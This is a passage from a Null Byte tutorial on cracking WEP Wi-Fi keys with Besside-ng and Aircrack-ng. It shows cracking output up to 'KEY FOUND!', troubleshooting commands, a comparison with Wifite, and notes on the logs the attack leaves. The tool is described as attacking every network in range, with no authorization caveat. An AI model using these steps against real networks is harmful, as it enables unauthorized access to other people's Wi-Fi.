β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (105 IVs) 24 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (1 IVs) 25 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (1578 IVs) 26 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (9 IVs) 27 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (7 IVs) 28 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (1 IVs) 29 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (2 IVs) 30 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (3 IVs) 31 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (3052 IVs) 32 β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ WEP (4 IVs) Index number of target networks ?Select the number of the network Besside-ng will target, and a beautiful symphony of math ensues as Aircrack-ng attacks the encryption.Index number of target networks ? 18 Aircrack-ng 1.2 rc4 [00:00:07] Tested 794881 keys (got 25521 IVs) KB depth byte(vote) 0 0/ 1 21(38912) AC(34560) 5B(32768) 1F(31744) C8(31744) 0D(30976) 63(30976) 8C(30976) 82(30720) 09(30464) 69(30464) A0(30464) FC(30464) 1 2/ 3 78(32000) F5(31744) FE(30976) 06(30464) 3E(30464) 9F(30464) AC(30464) C6(30464) D2(30464) 38(30208) 43(30208) 4D(30208) 1C(22952) 2 0/ 1 FB(36352) 33(32768) 0F(32256) 37(31744) 2D(30976) DA(30720) 0D(30208) 61(30208) 9E(30208) AD(30208) C5(30208) F9(30208) 45(29952) 3 1/ 2 4D(34304) A0(32512) 18(31744) 81(30406) C7(30464) F9(30464) 87(30208) 99(30208) A6(30208) D1(30208) F1(30208) 2B(29952) 5B(29952) 4 1/ 2 37(34304) EB(32256) C5(31488) AA(30720) EE(30208) FA(30208) 4A(29952) B3(29952) A7(29696) 61(29440) D0(29184) DB(21184) ED(28928) 5 5/ 6 D4(31488) 8F(30976) EE(30720) 3C(30208) 7D(30208) C4(30208) 77(29952) B8(29952) 5A(29696) B3(29440) 1C(29184) 61(29184) 82(29184) 6 3/ 4 D5(31488) 96(30976) 2B(30208) 90(30208) 6B(30464) AB(30464) CE(30208) F0(30208) FE(30208) 1D(29696) 33(29696) 39(29696) B8(29696) 7 14/ 15 F6(30208) C3(29952) E0(29952) 4A(29696) AF(29696) 32(29440) 50(29440) 31(29184) 7A(29184) B6(29184) BE(29184) EE(29184) 2E(28928) 8 3/ 4 70(30976) 6B(30720) 47(30464) DF(30464) 1F(30208) 32(30208) 7F(30208) 9F(30208) B7(30208) 9C(29696) BF(29696) C3(29696) FF(26969) 9 0/ 1 AB(33536) 1F(31488) 23(31488) C6(31488) 6D(31232) BD(31232) D8(31232) 63(30976) 60(30720) 16(30464) 59(30464) A5(30208) 05(29952) 10 4/ 8 19(31232) 39(30976) E4(30976) FA(30976) 0F(30464) 44(30464) D3(30464) A2(30208) A6(29952) 09(29696) 25(29696) 50(29696) 54(29696) 11 2/ 3 C7(32000) E5(30976) 45(30464) 87(30464) F7(30464) E9(30208) 0B(29952) 41(29952) AD(29952) 31(29696) 42(29696) 9A(29696) D9(29696) 12 1/ 2 37(32256) FD(31744) 8E(31232) E7(30720) FA(30720) 68(30464) D1(30208) 45(29952) 4F(29952) 5D(29952) 65(29952) 09(29696) 39(29696)Aircrack-ng will re-try the attack automatically every 5,000 IVs as more packets are captured by Besside-ng.KB depth byte(vote) 0 7/ 8 99(5120) D4(4864) 00(4864) 8B(4864) 07(4864) FB(4864) 11(4864) 03(4608) EC(4608) 17(4608) 18(4608) E6(4608) D9(4608) 1 10/ 14 B2(4864) 6D(4608) 99(4608) 05(4608) A9(4352) 91(4352) 95(4352) B4(4352) 1B(4352) A7(4352) DC(4096) 1D(4096) FC(4096) 2 14/ 15 2D(4608) D6(4352) BD(4352) CF(4352) 0D(4352) 10(4352) 86(4352) B2(4352) B1(4352) FF(4352) 79(4096) D4(4096) 03(4096) 3 15/ 3 07(4352) 4E(4352) DB(4352) 09(4352) 58(4352) 6D(4096) 25(4096) 0F(4096) 44(4096) 8B(4096) 15(4096) 85(4096) EA(4096) 4 17/ 4 95(4352) 72(4352) CC(4352) 55(4352) C2(4096) 19(4096) 2D(4096) 2F(4096) 33(4096) FF(4096) 05(4096) 07(4096) F2(4096) Failed. Next try with 5000 IVs.This repeats until we defeat the encryption and gain the key.KB depth byte(vote) 0 0/ 15 21(26112) E1(25600) F9(25088) B9(24832) BA(24576) A2(24320) 19(24320) 10(24064) 63(23808) DA(23552) 8C(23552) BD(23552) ED(23552) 1 11/ 14 BA(24064) 95(23808) 59(23808) 16(23552) 62(23552) 0A(23552) 72(23552) B7(23552) 43(23552) 68(23552) A3(23552) 9D(23552) E5(23296) 2 0/ 3 20(28416) 7A(26624) 91(25856) D4(25344) 2C(25344) DC(25088) 43(25088) 0D(24832) B3(24832) 07(24832) A7(24576) 28(24064) 9A(24064) 3 0/ 1 44(32256) 1C(25856) 82(25600) C0(25088) 2B(24832) 06(24832) 7E(24576) BF(24320) 04(24320) D6(24320) 54(24064) 31(24064) A9(24064) 4 1/ 25 00(25344) 7C(25088) 45(24832) E9(24832) 36(24832) 6C(24576) AF(24320) 25(24064) 17(23808) 3B(23808) 8C(23552) A1(23296) 4F(23296) KEY FOUND! [ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ ] (ASCII: β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ ) Decrypted correctly: 100%Step 7: Troubleshoot InterruptionsBesside-ng experiences two main types of glitches β€” "no child process" and "network is down." These can berelated to your wireless network adapter.No child processcan be fixed by re-running the Besside-ng command, most of the time.Network is downis often caused by the WPA supplicant process throwing your card out of monitor mode. To solve this problem, you can runAirmon-ng:~$ sudo airmon-ng check killThis will kill any troublesome processes for monitor mode, but it will also kill any other Wi-Fi interfaces, so be careful if you are SSHed into your device that way.Besside-ng vs. WifiteBesside-ng is not the only tool to target this niche. Suiteslike Wifitecan also be used to attackWPA and WEP networksin automated ways. Wifite includes the added function of attackingWPS setup PINs.While Wifite certainly provides better situational awareness of wireless targets around you, not everyone has time to wait to hit each network with every attack in the book, as Wifite likes to do. In addition, the WPS setup PIN attack is aging poorly and often no longer works, which wastes a lot of time. These attacks focus on different types of automation, with Wifite throwing everything and the kitchen sink at a particular network or networks, and Besside-ng going ham over any networks that dare exist nearby.The problem with Wifite is that it sucks because it takes forever, and I rarely have success with it nowadays. By comparison, Besside-ng remains blisteringly fast into the foreseeable future.Warning: Besside-ng Is Loud & Leaves a Ton of EvidenceWhile Besside-ng is a phenomenal tool, the nature of the attack means it interacts with every access point in range. This leaves distinctive logs in each router targeted, meaning this attack has the subtlety of running around and smacking every device off of every Wi-Fi connection in range. It can be mitigated by focusing your attack on a particular AP. The technique usually does not disrupt regular network use and operation, but can reveal your device MAC address or physical location if run against a well-defended target.Thanks for reading, and make sure to keep an eye on Null Byte for more hacking tutorials. You can ask me questions here or on Twitter@KodyKinzieor@NullByte.Don't Miss:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and GIF by Kody/Null ByteRelatedHow to Hack Wi-Fi:Hunting Down & Cracking WEP NetworksHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow To:Automate Wi-Fi Hacking with Wifite2How to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow to Hack Wi-Fi:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHow to Hack Wi-Fi:Selecting a Good Wi-Fi Hacking StrategyHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow to Hack Wi-Fi:Breaking a WPS PIN to Get the Password with BullyAndroid Basics:How to Connect to a Wi-Fi NetworkHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network β€”UndetectedHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'How to Hack Wi-Fi:Disabling Security Cameras on Any Wireless Network with Aireplay-NgHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow to Hack Wi-Fi:Getting Started with Terms & TechnologiesHow To:Spy on Network Relationships with Airgraph-NgNews:Project Zero Finds iPhone & Android Open to Bugs in Broadcom's Wi-Fi ChipsHow To:Turn on Google Pixel's Wi-Fi Assistant to Get Secure Access on Open NetworksHow To:Hack Wi-Fi Networks with BettercapHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadHow To:This App Saves Battery Life by Toggling Data Off When You're on Wi-FiHow To:Easily Store Your iPhone's Wi-Fi Passwords & Share Them with Anybody β€” Even Android UsersHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToHow To:Fix the Wi-Fi Roaming Bug on Your Samsung Galaxy S3How To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItHow To:See Who's Using Your Wi-Fi & Boot Them Off with Your AndroidWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the InternetHow To:Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon)How To:Select a Field-Tested Kali Linux Compatible Wireless AdapterHow to Hack Wi-Fi:DoSing a Wireless AP Continuously